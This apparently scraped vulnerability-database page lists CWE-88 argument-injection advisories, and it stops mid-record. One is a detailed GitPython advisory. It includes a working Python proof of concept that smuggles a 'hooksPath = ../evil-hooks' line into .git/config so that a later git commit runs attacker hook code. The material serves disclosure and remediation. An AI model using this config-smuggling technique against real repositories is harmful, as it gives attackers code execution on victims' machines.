CWE-88
AllowedImproper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Abstraction: Base · Status: Draft
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
663 vulnerabilities reference this CWE, most recent first.
GHSA-265C-QW8P-8M9F
Vulnerability from github – Published: 2026-09-09 18:32 – Updated: 2026-09-09 18:32CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability exists that could cause remote code execution by an attacker with a privileged account when malicious arguments are provided as backup configuration parameters.
{
"affected": [],
"aliases": [
"CVE-2026-8044"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-09T17:17:54Z",
"severity": "HIGH"
},
"details": "CWE-88: Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027) vulnerability exists that could cause remote code execution by an attacker with a privileged account when malicious arguments are provided as backup configuration parameters.",
"id": "GHSA-265c-qw8p-8m9f",
"modified": "2026-09-09T18:32:05Z",
"published": "2026-09-09T18:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8044"
},
{
"type": "WEB",
"url": "https://download.se.com/files?p_Doc_Ref=SEVD-2026-251-01\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2026-251-01.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-27CH-G9H2-PGXC
Vulnerability from github – Published: 2022-05-14 01:54 – Updated: 2022-05-14 01:54kernel/omap/drivers/video/omap2/dsscomp/device.c in the kernel component in Amazon Kindle Fire HD(3rd) Fire OS 4.5.5.3 allows attackers to inject a crafted argument via the argument of an ioctl on device /dev/dsscomp with the command 1118064517 and cause a kernel crash.
{
"affected": [],
"aliases": [
"CVE-2018-11021"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-16T22:29:00Z",
"severity": "HIGH"
},
"details": "kernel/omap/drivers/video/omap2/dsscomp/device.c in the kernel component in Amazon Kindle Fire HD(3rd) Fire OS 4.5.5.3 allows attackers to inject a crafted argument via the argument of an ioctl on device /dev/dsscomp with the command 1118064517 and cause a kernel crash.",
"id": "GHSA-27ch-g9h2-pgxc",
"modified": "2022-05-14T01:54:09Z",
"published": "2022-05-14T01:54:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11021"
},
{
"type": "WEB",
"url": "https://github.com/datadancer/HIAFuzz/blob/master/CVE-2018-11021.md"
},
{
"type": "WEB",
"url": "https://github.com/datadancer/HIAFuzz/blob/master/CVE-Advisory.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-284H-M62Q-GF8W
Vulnerability from github – Published: 2026-09-08 18:39 – Updated: 2026-09-08 18:39- CWE: CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument
- Affected component:
git/config.py—GitConfigParser._read()(multi-line value decoding, lines 444-541, esp.string_decode()at line 460 and its call sites at 519/541) andGitConfigParser._write()/write_section()(serialization, lines ~694-712, esp. line 708) - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
GitPython added UNSAFE_CONFIG_CHARS_RE / _value_to_string_safe() / _assure_config_name_safe() guards (commits c417af46, 1ed1b924, a495ccd3, and PR #2176) to reject a Python string containing a raw \r/\n/NUL byte, or syntax-bearing characters, when it is passed as an argument to set(), set_value(), add_value(), or add_section(). This closed the four config-injection GHSAs above.
That guard is applied only on the write-argument surface. It is never consulted for values that entered GitConfigParser._sections via _read() — i.e. values that came from parsing an on-disk config file. And _read() legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and string_decode() (.decode('unicode_escape')) decodes a literal two-character \n escape sequence inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real git itself uses and accepts.
The bug is in what happens when that GitConfigParser is later flushed: write_section() (line ~694) calls the unsafe self._value_to_string(v) — not _value_to_string_safe() — and "handles" any embedded newline in the value with .replace("\n", "\n\t") (line 708), emitting a bare, unquoted <real newline><tab> in the output file with no re-quoting and no backslash-continuation marker. Real git does not treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the previous line ends in a literal \ immediately before the newline. So the moment write_section() re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an independent, new config line the next time anyone (GitPython or real git) parses the file. If an attacker chooses the dormant value's content to be <anything>\nhooksPath = <attacker path>, that second line is parsed as a brand-new core.hooksPath = <attacker path> directive — live, real Git configuration, not a value.
core.hooksPath is honored by essentially every hook-firing git operation (commit, checkout, merge, push, rebase, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.
Root cause
GitConfigParser's injection guard is asymmetric: it hardens every write-argument entry point (the fix for the four sibling GHSAs) but never hardens the read → corrupt-on-rewrite round trip. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (write_section() using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The c417af46 commit message even states its intent explicitly: "This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values" — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.
Exploit path
- A
.git/config(or any file merged into it via[include], see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:[core] zzz = "A\nhooksPath = ../evil-hooks\ "No raw\r,\n, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Realgit config --get core.hookspathreturns nothing at this point (inert);git config --get core.zzzreturns the decoded stringA\nhooksPath = ../evil-hooks, identically to GitPython's own reader. - The host application opens this repo with GitPython (
git.Repo(path),read_only=Falseimplicitly for a normalconfig_writer()use) and performs any single, unrelated, legitimate config write on the sameGitConfigParserinstance — e.g.repo.config_writer().set_value("user", "name", "Test User"). This is one of the most ordinary operations a GitPython-based tool performs. GitConfigParser._write()/write_section()re-serializes every resident value, including the dormantzzzentry, using the unsafe path. The file on disk now contains, verbatim:[core] ... zzz = A hooksPath = ../evil-hooks- Real
git config --get core.hookspathnow returns../evil-hooks— a key that did not exist before step 2, created purely by GitPython's own write. - The next hook-firing git operation (e.g.
git commit) executes../evil-hooks/pre-commit(or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.
Impact
Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity GHSA-mv93-w799-cj2w/GHSA-v87r-6q3f-2j67 "Newline injection... enables RCE via core.hooksPath" advisories, and requiring no unsafe caller argument at all — only an attacker-influenced config file plus one ordinary, unrelated write.
Preconditions
- A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like
<anything>\n<injected-key> = <injected-value>. Realistic delivery: - Pre-existing
.gitdirectory shipped with a repository — vendored/template repos, CI workspace/layer caches that preserve.git, "repo" tarball/zip distributions that include.git/config. The poisoned value sits directly in.git/config. - The documented shared-config
[include]pattern ([include] path = ../<repo-tracked-file>, pointing at a file inside the working tree) —GitConfigParser.read()merges included files' sections into the same_sectionsdict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own.git/configto already reference the include, e.g. via project setup tooling that addsinclude.path). - Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write — the exact trust-boundary the maintainers already accepted as realistic for
GHSA-v87r-6q3f-2j67(their writeup cites MLRun'sproject.push()). - No authentication/role requirement inside GitPython itself.
Evidence
git/config.py:460(string_decode), invoked atgit/config.py:519and:541inside_read()'s multi-line handling — decodesunicode_escape, turning a literal\nescape into a real embedded LF.git/config.py:~694-712(_write()/write_section()) — usesself._value_to_string(v)(unsafe variant) and.replace("\n", "\n\t")with no re-quoting.c417af46(the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing read behavior for multi-line values, per its own commit message.git log -S"string_decode",-S"write_section",-S'replace("\n", "\n\t")'ongit/config.pyshow these code paths have only ever been touched by non-security formatting/refactor commits (a5fc1d86,b825dc74,cb68eef0,21ec5299), never by a security fix.- PoC (
gitpython-002-poc.py, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelatedconfig_writer()write →core.hookspathbecomes live per realgit config --get→ a subsequentgit commitexecutes the injected hook and writes a benign marker file.
False-positive check (adversarial re-read)
- Is this just a repeat of the four already-fixed config-injection GHSAs? No — all four require the caller to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by
UNSAFE_CONFIG_CHARS_RE/VALID_CONFIG_OPTION_NAME_RE/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config file using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via_known-advisories.json(26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism. - Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a "normal" file)? Yes, confirmed empirically: after the same crafted
.git/configis rewritten by realgit config user.name Test2(a control test), the multi-linezzzentry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it. - Is there a guard elsewhere that would catch the resulting bare
hooksPath = ...line before it's trusted? No — once on disk, it is indistinguishable from a directive the user set intentionally;core.hooksPathis honored unconditionally by git's hook-invocation machinery. - Does this require an unrealistic precondition? The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for
GHSA-v87r-6q3f-2j67. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently end-to-end (dormant value in place → benign unrelated
config_writer()write →core.hookspathlive per real git → hook fires ongit commit, marker file written).
Remediation
Either (a) make write_section()/_write() use _value_to_string_safe() (or equivalent re-quoting) for every resident value, including those that originated from _read(), so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach _sections at all if the parser is opened in read_only=False mode, or (c) canonicalize output using git's own git config --file <path> --replace-all semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of _value_to_string_safe() already used on the setter path.
Confidence
High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live core.hookspath → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.
Proof-of-Concept source (gitpython-002-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value
(standard quoted + backslash-continuation syntax, containing an escaped "\\n"
that decodes to a real embedded newline in memory) is corrupted into a NEW,
live config key the moment GitConfigParser re-serializes it during any
unrelated write. If the smuggled second "line" looks like
"hooksPath = <attacker path>", it becomes a real, active core.hooksPath after
one unrelated GitPython config write, and fires attacker code on the next
hook-triggering git operation (e.g. `git commit`).
This is CWE-88/CWE-94 style argument/config injection, but via the READ path
(a config file GitPython parses and later rewrites), not via a Python kwarg
argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /
GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all
guard the setter-argument surface only.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir>
Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a
marker file; no destructive/exfiltrating payload. Exits non-zero and prints
"NOT VULNERABLE" if the corruption / hook does not fire.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc"
repo_dir = os.path.join(workdir, "repo")
hooks_dir = os.path.join(workdir, "evil-hooks")
marker = os.path.join(workdir, "PWNED_MARKER.txt")
for p in (repo_dir, hooks_dir):
os.makedirs(p, exist_ok=True)
if os.path.exists(marker):
os.remove(marker)
subprocess.run(["git", "init", "-q", "-b", "main", repo_dir], check=True)
subprocess.run(["git", "-C", repo_dir, "config", "user.email", "test@example.com"], check=True)
subprocess.run(["git", "-C", repo_dir, "config", "user.name", "Test"], check=True)
# Rewrite .git/config with a dormant, 100%-valid multi-line quoted value
# inside [core] (before any other section). No raw CR/LF/NUL byte is
# written to disk here -- this is standard git config quoting +
# backslash-line-continuation, decoded by both real git and GitConfigParser
# into the Python string 'A\nhooksPath = ../evil-hooks'.
cfg_path = os.path.join(repo_dir, ".git", "config")
with open(cfg_path) as f:
original = f.read()
poisoned_entry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n'
# Insert right after the [core] header line so it lives in the same section.
new_config = original.replace("[core]\n", "[core]\n" + poisoned_entry, 1)
with open(cfg_path, "w") as f:
f.write(new_config)
# Confirm it's inert per real git before touching GitPython.
pre = subprocess.run(
["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
capture_output=True, text=True,
)
if pre.returncode == 0:
print("SETUP ERROR: core.hookspath already set before GitPython touched anything")
sys.exit(2)
# Malicious hook: benign marker only.
hook_path = os.path.join(hooks_dir, "pre-commit")
with open(hook_path, "w") as f:
f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker)
os.chmod(hook_path, 0o755)
import git # gitpython under test
repo = git.Repo(repo_dir)
before = repo.config_reader().get_value("core", "zzz")
print("core.zzz before any GitPython write =", repr(before))
# ONE totally unrelated, benign write -- this is the only "attacker-adjacent"
# action required, and it is something virtually every GitPython consumer
# does routinely (setting an option, adding a remote, updating a branch's
# tracking config, ...).
with repo.config_writer() as cw:
cw.set_value("user", "name", "Test User")
post = subprocess.run(
["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
capture_output=True, text=True,
)
if post.returncode != 0:
print("NOT VULNERABLE: core.hookspath still absent after the unrelated write")
sys.exit(1)
injected_path = post.stdout.strip()
print("core.hookspath is now LIVE after one unrelated write:", injected_path)
# Trigger the hook with a normal commit to prove it fires.
with open(os.path.join(repo_dir, "file2.txt"), "w") as f:
f.write("change\n")
subprocess.run(["git", "-C", repo_dir, "add", "file2.txt"], check=True)
subprocess.run(
["git", "-C", repo_dir, "-c", "user.email=t@example.com", "-c", "user.name=T",
"commit", "-q", "-m", "trigger hook"],
check=True,
)
if os.path.isfile(marker):
with open(marker) as f:
content = f.read().strip()
print("VULNERABLE: hook fired, marker content =", content)
sys.exit(0)
else:
print("NOT VULNERABLE: hook did not fire")
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.58"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-78676"
],
"database_specific": {
"cwe_ids": [
"CWE-88",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T18:39:40Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "- **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) \u2014 via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument\n- **Affected component:** `git/config.py` \u2014 `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\nGitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\\r`/`\\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above.\n\nThat guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` \u2014 i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git\u0027s own backslash-continuation syntax), and `string_decode()` (`.decode(\u0027unicode_escape\u0027)`) decodes a literal two-character `\\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this \u2014 it\u0027s the same syntax real `git` itself uses and accepts.\n\nThe bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` \u2014 not `_value_to_string_safe()` \u2014 and \"handles\" any embedded newline in the value with `.replace(\"\\n\", \"\\n\\t\")` (line 708), emitting a bare, unquoted `\u003creal newline\u003e\u003ctab\u003e` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython\u0027s writer assumes \u2014 a value only continues across physical lines when the *previous* line ends in a literal `\\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value\u0027s content to be `\u003canything\u003e\\nhooksPath = \u003cattacker path\u003e`, that second line is parsed as a brand-new `core.hooksPath = \u003cattacker path\u003e` directive \u2014 live, real Git configuration, not a value.\n\n`core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.\n\n## Root cause\n`GitConfigParser`\u0027s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read \u2192 corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython\u0027s own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn\u0027t recognize). The `c417af46` commit message even states its intent explicitly: *\"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values\"* \u2014 i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.\n\n## Exploit path\n1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:\n ```\n [core]\n \tzzz = \"A\\nhooksPath = ../evil-hooks\\\n \"\n ```\n No raw `\\r`, `\\n`, or NUL byte appears on disk \u2014 this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\\nhooksPath = ../evil-hooks`, identically to GitPython\u0027s own reader.\n2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance \u2014 e.g. `repo.config_writer().set_value(\"user\", \"name\", \"Test User\")`. This is one of the most ordinary operations a GitPython-based tool performs.\n3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, using the unsafe path. The file on disk now contains, verbatim:\n ```\n [core]\n \t...\n \tzzz = A\n \thooksPath = ../evil-hooks\n ```\n4. Real `git config --get core.hookspath` now returns `../evil-hooks` \u2014 a key that did not exist before step 2, created purely by GitPython\u0027s own write.\n5. The next hook-firing git operation (e.g. `git commit`) executes `../evil-hooks/pre-commit` (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.\n\n## Impact\nArbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity `GHSA-mv93-w799-cj2w`/`GHSA-v87r-6q3f-2j67` \"Newline injection... enables RCE via core.hooksPath\" advisories, and requiring **no unsafe caller argument at all** \u2014 only an attacker-influenced config file plus one ordinary, unrelated write.\n\n## Preconditions\n- A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like `\u003canything\u003e\\n\u003cinjected-key\u003e = \u003cinjected-value\u003e`. Realistic delivery:\n 1. **Pre-existing `.git` directory shipped with a repository** \u2014 vendored/template repos, CI workspace/layer caches that preserve `.git`, \"repo\" tarball/zip distributions that include `.git/config`. The poisoned value sits directly in `.git/config`.\n 2. **The documented shared-config `[include]` pattern** (`[include] path = ../\u003crepo-tracked-file\u003e`, pointing at a file inside the working tree) \u2014 `GitConfigParser.read()` merges included files\u0027 sections into the same `_sections` dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim\u0027s own `.git/config` to already reference the include, e.g. via project setup tooling that adds `include.path`).\n 3. **Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write** \u2014 the exact trust-boundary the maintainers already accepted as realistic for `GHSA-v87r-6q3f-2j67` (their writeup cites MLRun\u0027s `project.push()`).\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py:460` (`string_decode`), invoked at `git/config.py:519` and `:541` inside `_read()`\u0027s multi-line handling \u2014 decodes `unicode_escape`, turning a literal `\\n` escape into a real embedded LF.\n- `git/config.py:~694-712` (`_write()`/`write_section()`) \u2014 uses `self._value_to_string(v)` (unsafe variant) and `.replace(\"\\n\", \"\\n\\t\")` with no re-quoting.\n- `c417af46` (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing *read* behavior for multi-line values, per its own commit message.\n- `git log -S\"string_decode\"`, `-S\"write_section\"`, `-S\u0027replace(\"\\n\", \"\\n\\t\")\u0027` on `git/config.py` show these code paths have only ever been touched by non-security formatting/refactor commits (`a5fc1d86`, `b825dc74`, `cb68eef0`, `21ec5299`), never by a security fix.\n- PoC (`gitpython-002-poc.py`, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value \u2192 one unrelated `config_writer()` write \u2192 `core.hookspath` becomes live per real `git config --get` \u2192 a subsequent `git commit` executes the injected hook and writes a benign marker file.\n\n## False-positive check (adversarial re-read)\n- **Is this just a repeat of the four already-fixed config-injection GHSAs?** No \u2014 all four require the *caller* to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by `UNSAFE_CONFIG_CHARS_RE`/`VALID_CONFIG_OPTION_NAME_RE`/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config *file* using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython\u0027s own unguarded re-serialization of a value it already holds. Confirmed via `_known-advisories.json` (26 entries, none withdrawn) \u2014 none describe this read\u2192corrupt-on-rewrite mechanism.\n- **Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a \"normal\" file)?** Yes, confirmed empirically: after the same crafted `.git/config` is rewritten by *real* `git config user.name Test2` (a control test), the multi-line `zzz` entry is preserved byte-for-byte in its original quoted/continuation form \u2014 only GitPython\u0027s writer corrupts it.\n- **Is there a guard elsewhere that would catch the resulting bare `hooksPath = ...` line before it\u0027s trusted?** No \u2014 once on disk, it is indistinguishable from a directive the user set intentionally; `core.hooksPath` is honored unconditionally by git\u0027s hook-invocation machinery.\n- **Does this require an unrealistic precondition?** The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for `GHSA-v87r-6q3f-2j67`.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently end-to-end (dormant value in place \u2192 benign unrelated `config_writer()` write \u2192 `core.hookspath` live per real git \u2192 hook fires on `git commit`, marker file written).\n\n## Remediation\nEither (a) make `write_section()`/`_write()` use `_value_to_string_safe()` (or equivalent re-quoting) for **every** resident value, including those that originated from `_read()`, so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach `_sections` at all if the parser is opened in `read_only=False` mode, or (c) canonicalize output using git\u0027s own `git config --file \u003cpath\u003e --replace-all` semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of `_value_to_string_safe()` already used on the setter path.\n\n## Confidence\nHigh. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value \u2192 benign unrelated write \u2192 live `core.hookspath` \u2192 hook execution with a benign marker) reproduced twice, independently, against the current HEAD.\n\n\n## Proof-of-Concept source (`gitpython-002-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value\n(standard quoted + backslash-continuation syntax, containing an escaped \"\\\\n\"\nthat decodes to a real embedded newline in memory) is corrupted into a NEW,\nlive config key the moment GitConfigParser re-serializes it during any\nunrelated write. If the smuggled second \"line\" looks like\n\"hooksPath = \u003cattacker path\u003e\", it becomes a real, active core.hooksPath after\none unrelated GitPython config write, and fires attacker code on the next\nhook-triggering git operation (e.g. `git commit`).\n\nThis is CWE-88/CWE-94 style argument/config injection, but via the READ path\n(a config file GitPython parses and later rewrites), not via a Python kwarg\nargument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /\nGHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all\nguard the setter-argument surface only.\n\nRun:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-002-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside \u003cworkdir\u003e. The \"malicious\" hook just writes a\nmarker file; no destructive/exfiltrating payload. Exits non-zero and prints\n\"NOT VULNERABLE\" if the corruption / hook does not fire.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-002-poc\"\n repo_dir = os.path.join(workdir, \"repo\")\n hooks_dir = os.path.join(workdir, \"evil-hooks\")\n marker = os.path.join(workdir, \"PWNED_MARKER.txt\")\n\n for p in (repo_dir, hooks_dir):\n os.makedirs(p, exist_ok=True)\n if os.path.exists(marker):\n os.remove(marker)\n\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", repo_dir], check=True)\n subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.email\", \"test@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.name\", \"Test\"], check=True)\n\n # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value\n # inside [core] (before any other section). No raw CR/LF/NUL byte is\n # written to disk here -- this is standard git config quoting +\n # backslash-line-continuation, decoded by both real git and GitConfigParser\n # into the Python string \u0027A\\nhooksPath = ../evil-hooks\u0027.\n cfg_path = os.path.join(repo_dir, \".git\", \"config\")\n with open(cfg_path) as f:\n original = f.read()\n poisoned_entry = \u0027\\tzzz = \"A\\\\nhooksPath = ../evil-hooks\\\\\\n\"\\n\u0027\n # Insert right after the [core] header line so it lives in the same section.\n new_config = original.replace(\"[core]\\n\", \"[core]\\n\" + poisoned_entry, 1)\n with open(cfg_path, \"w\") as f:\n f.write(new_config)\n\n # Confirm it\u0027s inert per real git before touching GitPython.\n pre = subprocess.run(\n [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n capture_output=True, text=True,\n )\n if pre.returncode == 0:\n print(\"SETUP ERROR: core.hookspath already set before GitPython touched anything\")\n sys.exit(2)\n\n # Malicious hook: benign marker only.\n hook_path = os.path.join(hooks_dir, \"pre-commit\")\n with open(hook_path, \"w\") as f:\n f.write(\u0027#!/bin/sh\\necho \"PWNED-VIA-GITPYTHON-CONFIG-INJECTION\" \u003e \"%s\"\\nexit 0\\n\u0027 % marker)\n os.chmod(hook_path, 0o755)\n\n import git # gitpython under test\n\n repo = git.Repo(repo_dir)\n before = repo.config_reader().get_value(\"core\", \"zzz\")\n print(\"core.zzz before any GitPython write =\", repr(before))\n\n # ONE totally unrelated, benign write -- this is the only \"attacker-adjacent\"\n # action required, and it is something virtually every GitPython consumer\n # does routinely (setting an option, adding a remote, updating a branch\u0027s\n # tracking config, ...).\n with repo.config_writer() as cw:\n cw.set_value(\"user\", \"name\", \"Test User\")\n\n post = subprocess.run(\n [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n capture_output=True, text=True,\n )\n if post.returncode != 0:\n print(\"NOT VULNERABLE: core.hookspath still absent after the unrelated write\")\n sys.exit(1)\n\n injected_path = post.stdout.strip()\n print(\"core.hookspath is now LIVE after one unrelated write:\", injected_path)\n\n # Trigger the hook with a normal commit to prove it fires.\n with open(os.path.join(repo_dir, \"file2.txt\"), \"w\") as f:\n f.write(\"change\\n\")\n subprocess.run([\"git\", \"-C\", repo_dir, \"add\", \"file2.txt\"], check=True)\n subprocess.run(\n [\"git\", \"-C\", repo_dir, \"-c\", \"user.email=t@example.com\", \"-c\", \"user.name=T\",\n \"commit\", \"-q\", \"-m\", \"trigger hook\"],\n check=True,\n )\n\n if os.path.isfile(marker):\n with open(marker) as f:\n content = f.read().strip()\n print(\"VULNERABLE: hook fired, marker content =\", content)\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: hook did not fire\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "GHSA-284h-m62q-gf8w",
"modified": "2026-09-08T18:39:40Z",
